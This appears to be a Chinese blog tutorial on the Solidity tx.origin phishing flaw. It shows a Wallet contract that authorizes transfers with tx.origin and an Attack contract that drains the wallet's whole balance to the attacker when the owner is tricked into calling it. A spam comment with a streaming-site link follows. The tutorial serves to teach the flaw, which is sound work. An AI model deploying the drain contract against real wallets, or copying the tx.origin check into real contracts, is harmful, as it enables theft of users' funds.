钓鱼攻击 tx.origin
侧边栏壁纸
  • 累计撰写 26 篇文章
  • 累计收到 33 条评论

钓鱼攻击 tx.origin

残月
2023-12-08 / 1 评论 / 47 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2023年12月11日,已超过420天没有更新,若内容或图片失效,请留言反馈。

  tx.originSolidity中的一个全局变量,它返回发送交易的帐户的地址。如果授权帐户调用恶意合约,则使用该变量进行授权可能会使合约容易受到攻击。可以调用通过授权检查的易受攻击的合约,因为tx.origin返回交易的原始发送者,在本例中是授权帐户。
lq0qpwhx.png

漏洞代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner, "Not owner");
        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

问题分析

  合约部署时将部署用户作为当前合约的owner,并定义了transfer方法,此方法需要传入一个转账用户地址 _to和转账数量 _amount。在第一行通过 require 并使用tx.originowner判断是否为部署用户,不是将抛出 "Not owner",第12行 向_to 地址 转账 _amount 数量的虚拟币(call 为底层方法),并判断是否转账成功,失败将抛出 "Failed to send Ether"
这题主要问题在于在使用tx.origin作为转账前的检查是不对的,合约本意为检验是否为当前钱包合约的部署用户,但tx.origin会返回最先发送交易的帐户的地址,而不是上一层调用合约的地址。
 例如:
  第一步
   用户-A :部署了 Wallet 合约;
   攻击者-B:部署了 钓鱼的恶意合约;
  第二步
   用户-A :调用了 攻击者-B 恶意合约
  第二步 分析
   这个时候如果恶意合约调用了 用户-A 部署的 Wallet合约,此时合约中的tx.origin获取的地址为用户-A的地址,并向_to地址转账,并不会触发require的判断,此时攻击者-B只需要将_to 在攻击合约中定义为个人账户地址,此时用户-A的用户余额已被转走。

攻击代码

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

  基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的Wallet合约地址,并将个人地址保存在owner中,在 用户-A调用 Attack.attack()方法时,攻击合约将会调用Wallet合约的transfer方法,传入攻击者的地址ownerWallet合约账户的所剩余额。

攻击复现

执行步骤

0

评论 (1)

取消
  1. 头像
    oeyzyepbml
    Windows 10 · Google Chrome

    《女士及众生相》剧情片高清在线免费观看:https://www.jgz518.com/xingkong/70380.html

    回复